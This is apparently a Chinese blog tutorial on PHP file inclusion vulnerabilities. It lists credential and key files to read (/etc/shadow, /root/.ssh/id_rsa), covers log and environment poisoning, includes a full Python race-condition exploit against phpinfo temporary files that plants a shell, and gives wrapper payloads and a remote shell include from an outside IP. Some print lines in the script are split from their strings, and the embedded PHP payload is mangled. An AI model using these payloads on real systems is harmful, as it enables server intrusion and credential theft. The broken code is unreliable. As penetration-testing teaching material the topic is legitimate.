概述
1.文件包含
为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用被包含文件的代码。
2.漏洞简介
在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。
漏洞函数
- include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
- require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
- include_once( ):功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
- require_once( ):功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次
语法:`include 'filename';或者require 'filename';`
代码分析
if(isset($_GET['submit']) && $_GET['filename']!=null)
{
$filename=$_GET['filename'];
include "$filename";
}
这里将包含文件设置为变量,而此变量用户可控,导致造成文件包含漏洞。
本地文件包含
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
1.包含图片马
制作图片马:
copy logo.png/b+shell.php shell.jpg
上传后,本地包含图片马即可。
2.包含敏感文件
1.windows
C:\boot.ini # 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml # IIS配置文件
C:\Windows\repair\sam # 存储系统初次安装的密码
C:\Program Files\mysql\my.ini # Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD # Mysql root
C:\Windows\php.ini # php配置信息
C:\Windows\my.ini # Mysql配置信息
C:\Windows\win.ini # Windows系统的一个基本系统配置文件
2.Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts # 记录每个访问计算机用户的公钥
/etc/passwd # 用户的配置信息
/etc/shadow
/etc/my.cnf # mysql配置文件
/etc/httpd/conf/httpd.conf # apache配置文件
/root/.bash_history # 用户历史命令记录文件
/root/.mysql_history # mysql历史命令记录文件
/proc/mounts # 记录系统挂载设备
/porc/config.gz # 内核配置文件
/var/lib/mlocate/mlocate.db # 全文件路径
/porc/self/cmdline # 当前进程的cmdline参数
3.网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
4.利用方式
直接读取敏感信息:
filename=../../../../etc/passwd
../是上一级路径
3.包含日志文件
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
- burp get插入恶意代码,使恶意代码记录到访问日志中
- 包含日志文件,恶意代码执行
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
4.包含环境变量
- 修改 User-Agen 填写 php 代码
- 包含环境变量文件 /proc/self/environ
5.包含phpinfo临时文件
1.原理
利用 php post 上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含临时文件生成后门文件。
2.前提条件
上传表单的属性是 enctype="multipart/form-data"
PHP 引擎对 enctype="multipart/form-data"这种请求的处理过程如下:
- 请求到达;
- 创建临时文件,并写入上传文件的内容;
- 调用相应 PHP 脚本进行处理,如校验名称、大小等;
- 删除临时文件。
3.利用方式
- php 在解析 multipart/form-data 请求时,会创建临时文件,并写入上传内容,脚本执行后即删除
- phpinfo 可以输出
$_FILE
信息 - 通过多种方式争取时间,在临时文件删除前进行执行包含
争取时间:
- 通过在数据报文中加入大量的垃圾数据,似 phpinfo 页面过大,导致 phpinfo 页面过大,导致php 输出进入流式输出,并不一次输出完毕
- 通过大量请求来延迟 php 脚本的执行速度
EXP : python lfi.py 192.168.0.103 80
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php ?>');?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print
"\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print
"found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
print
"LFI With PHPInfo()"
print
"-=" * 30
if len(sys.argv) < 2:
print
"Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print
"Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print
"Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print
"Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print
"Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print
"Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print
"Woot! \m/"
else:
print
":("
except KeyboardInterrupt:
print
"\nTelling threads to shutdown..."
e.set()
print
"Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
具体原理:
在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo 页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。
因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。
但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:
- 发送包含了 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数据;
- phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非常大
- PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
- 所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临时文件还未被删除
- 我们可以利用这个时间差,成功包含临时文件,最后 getshell
6.伪协议
file:// # 访问本地文件系统
http:// # 访问 HTTP(s) 网址
ftp:// # 访问 FTP(s) URLs
php:// # 访问各个输入/输出流(I/O streams)
zlib:// # 压缩流
data:// # 数据(RFC 2397)
glob:// # 查找匹配的文件路径模式
phar:// # PHP 归档
ssh2:// # Secure Shell 2
rar:// # RAR
ogg:// # 音频流
expect:// # 处理交互式的流
1.php://input
使用条件: allow_url_fopen =ON allow_url_include=ON
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将post 内容当作文件内容。 注:当 enctype="multipart/form-data",php://input 是无效的。
利用方式:设置请求为 post 请求 在正文输入 php 代码提交即可允许
2.php://filter
读取源码:
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
过滤器:
字符串过滤器:
string.rot13 等同于 str_rot13(),rot13 变换
string.toupper 等同于 strtoupper(),转大写字母
string.tolower 等同于 strtolower(),转小写字母
string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签
转换过滤器:
convert.base64-encode & convert.base64-decode 等同于 base64_encode()和 base64_decode(),base64 编码解码
bzip2.compress & bzip2.decompress bzip2.decompress 同上,在本地文件系统中创建bz2 兼容文件的方法。
加密过滤器:
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
使用:php://filter/read=convert.base64-encode/resource=/etc/passwd
3.file://
读取本地文件:http://192.168.0.103/lfi.php?file=./01/php.ini
4.zip://
用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.tx
5.bzip2://
compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
6.zlib://
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.zlib://./file.jpg
7.data://
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
远程文件包含
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。
利用条件:
在PHP中,远程文件包含漏洞,需要php.ini的配置文件符合相关的配置:
- allow_url_include , allow_url_fopen 开启
- php
<5.3.0
时,magic_quotes_gpc需要关闭
利用方式:
直接远程包含shell即可,例如:
?file=http://43.3.0.3/shell.txt
标签:文件,jian,包含,han,wen,sys,file,php,socket
From: https://www.cnblogs.com/fuyoumingyan/p/17276933.html